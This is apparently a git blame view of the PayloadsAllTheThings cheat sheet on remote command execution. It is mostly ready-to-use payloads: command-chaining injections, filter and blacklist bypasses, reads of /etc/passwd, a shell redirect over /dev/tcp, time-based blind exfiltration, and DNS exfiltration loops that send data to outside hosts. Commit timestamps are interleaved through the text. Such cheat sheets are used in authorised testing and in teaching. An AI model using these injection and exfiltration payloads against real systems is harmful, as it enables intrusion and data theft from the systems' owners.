1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-23 09:06:08 +02:00
PayloadsAllTheThings/Remote commands execution/README.md

176 lines
4.0 KiB
Markdown
Raw Normal View History

# Remote Commands Execution
2018-12-25 12:08:32 +01:00
Remote Commands execution is a security vulnerability that allows an attacker to execute commands from a remote server.
2018-08-12 23:30:22 +02:00
NOTE: Reverse Shell Command are relocated to a [single file](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
2016-10-18 10:01:56 +02:00
2016-10-18 08:39:17 +02:00
## Exploits
2018-08-12 23:30:22 +02:00
Normal Commands execution, execute the command and voila :p
2018-08-12 23:30:22 +02:00
```powershell
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
2016-10-18 08:04:50 +02:00
sys:x:3:3:sys:/dev:/bin/sh
2016-10-18 08:02:14 +02:00
```
Commands execution by chaining commands
2018-08-12 23:30:22 +02:00
```powershell
2016-11-11 18:17:33 +01:00
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
2017-10-09 23:17:31 +02:00
original_cmd_by_server || ls Only if the first cmd fail
2016-11-11 18:17:33 +01:00
```
2016-10-18 08:02:14 +02:00
Commands execution inside a command
2018-08-12 23:30:22 +02:00
```powershell
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```
Commands execution without space - Linux
2018-08-12 23:30:22 +02:00
```powershell
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
2016-11-11 18:17:33 +01:00
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2016-12-20 19:46:06 +01:00
swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
2016-10-18 08:02:14 +02:00
```
2016-10-18 10:01:56 +02:00
Commands execution without space - Windows
2018-08-12 23:30:22 +02:00
```powershell
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```
Commands execution without spaces, $ or { } - Linux (Bash only)
2018-08-12 23:30:22 +02:00
```powershell
2017-08-13 16:35:12 +02:00
IFS=,;`cat<<<uname,-a`
```
Commands execution with a line return
2018-08-12 23:30:22 +02:00
```powershell
something%0Acat%20/etc/passwd
```
Bypass blacklisted word with single quote
2018-08-12 23:30:22 +02:00
```powershell
w'h'o'am'i
```
Bypass blacklisted word with double quote
2018-08-12 23:30:22 +02:00
```powershell
w"h"o"am"i
```
Bypass blacklisted word with backslash and slash
2018-08-12 23:30:22 +02:00
```powershell
2018-08-12 23:30:22 +02:00
w\ho\am\i
/\b\i\n/////s\h
```
Bypass blacklisted word with $@
2018-08-12 23:30:22 +02:00
```powershell
who$@ami
```
Bypass blacklisted word with variable expansion
2018-08-12 23:30:22 +02:00
```powershell
/???/??t /???/p??s??
2018-08-12 23:30:22 +02:00
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```
Bypass blacklisted word with wildcards
```powershell
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```
Bypass zsh/bash/sh blacklist
2018-08-12 23:30:22 +02:00
```powershell
echo $0
-> /usr/bin/zsh
echo whoami|$0
```
## Challenge
2018-08-12 23:30:22 +02:00
Challenge based on the previous tricks, what does the following command do:
```powershell
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
```
2017-03-03 21:41:00 +01:00
## Time based data exfiltration
2018-08-12 23:30:22 +02:00
2017-03-03 21:41:00 +01:00
Extracting data : char by char
2018-08-12 23:30:22 +02:00
```powershell
2017-03-03 21:41:00 +01:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
2018-08-12 23:30:22 +02:00
real 0m5.007s
user 0m0.000s
sys 0m0.000s
2017-03-03 21:41:00 +01:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
2018-08-12 23:30:22 +02:00
real 0m0.002s
user 0m0.000s
sys 0m0.000s
2017-03-03 21:41:00 +01:00
```
## DNS based data exfiltration
2018-08-12 23:30:22 +02:00
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
```powershell
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```powershell
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2018-12-25 12:08:32 +01:00
Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
2018-12-24 15:02:50 +01:00
## References
2018-08-12 23:30:22 +02:00
2017-03-03 21:41:00 +01:00
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)
2017-08-13 16:35:12 +02:00
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)
* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192)